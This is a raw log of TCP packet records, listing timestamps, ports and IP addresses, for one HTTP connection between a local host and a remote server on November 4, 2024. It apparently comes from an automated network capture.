Nov 4, 2024 16:52:37.438924074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438934088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438940048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438946962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438991070 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439006090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439012051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439023972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439029932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439045906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439052105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439059019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439086914 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439086914 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439121962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439131021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439143896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439150095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439172983 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439172983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439183950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439188957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439204931 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439254999 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439307928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439321995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439332962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439340115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439346075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439352989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439415932 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439424038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439431906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439476967 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439481020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439488888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439495087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439502954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439518929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439521074 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439567089 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439574957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439647913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439655066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439661980 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439694881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439702034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439709902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439713955 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439735889 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439754963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439762115 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439768076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439805984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439814091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439821005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439832926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439863920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439879894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439893961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439902067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439910889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439925909 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439929008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439934969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439940929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439948082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.439958096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.439976931 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.440001965 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.440113068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440118074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440130949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440138102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440166950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.440187931 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.440320969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440326929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440340042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440351009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440352917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440360069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440366030 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.440366983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440372944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440380096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440391064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440398932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.440423965 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.440442085 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.441458941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441464901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441477060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441517115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441515923 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.441529989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441536903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441555977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441571951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441579103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441581011 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.441607952 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.441658020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441663980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441675901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441683054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441689968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441701889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441703081 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.441709042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441725016 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.441749096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.441754103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441761017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441768885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441776037 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.441776037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.441792965 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.441822052 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.459486008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.459505081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.459549904 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.459587097 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.481441021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.481465101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.481472969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.481477976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.481484890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.481491089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.481498957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.481509924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.481508017 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.481547117 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.481570959 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.526171923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526216984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526238918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526252985 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526258945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526257992 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.526266098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526293993 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.526336908 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.526391983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526447058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526453018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526493073 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.526515007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526521921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.526565075 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555105925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555119038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555140972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555147886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555167913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555175066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555186033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555186987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555192947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555198908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555206060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555224895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555229902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555236101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555238008 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555246115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555249929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555263042 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555286884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555293083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555298090 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555305958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555335045 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555391073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555432081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555438995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555445910 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555500984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555507898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555514097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555520058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555529118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555556059 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555574894 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555577993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555583954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555594921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555600882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555619001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555625916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555634022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555640936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555655003 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555679083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555679083 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555685997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555700064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555706024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555732012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555737972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555740118 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555744886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555757046 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555769920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555777073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555787086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555788994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555814028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555819988 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555819988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555850029 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555903912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555911064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555923939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555952072 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.555973053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555979967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555991888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.555998087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556005001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556020975 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556042910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556045055 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556050062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556061029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556096077 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556113005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556154013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556160927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556194067 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556196928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556204081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556216002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556222916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556250095 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556268930 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556339025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556345940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556355953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556361914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556366920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556377888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556384087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556391001 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556397915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556428909 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556480885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556488037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556499004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556507111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556514025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556519985 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556525946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556536913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556539059 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556561947 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556582928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556628942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556634903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556647062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556652069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556689024 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556698084 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556704998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556710958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556716919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556721926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556726933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556740999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556747913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556755066 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556791067 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.556922913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556930065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556936026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556940079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556952000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556957960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556963921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556969881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556974888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556988001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.556997061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557003021 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557003975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557010889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557049036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557050943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557054996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557066917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557074070 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557117939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557118893 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557125092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557137012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557143927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557168007 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557187080 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557195902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557202101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557214022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557219982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557290077 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557291031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557296991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557302952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557308912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557316065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557323933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557334900 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557368040 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557496071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557533979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557542086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557602882 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557617903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557631969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557638884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557651043 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557689905 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557723045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557734013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557739973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557745934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557760000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557766914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557776928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557804108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557805061 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557847023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557852983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557866096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557900906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557908058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.557929039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.557948112 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.558002949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558008909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558021069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.558027029 CET	80	59474	89.40.31.232	192.168.2.6
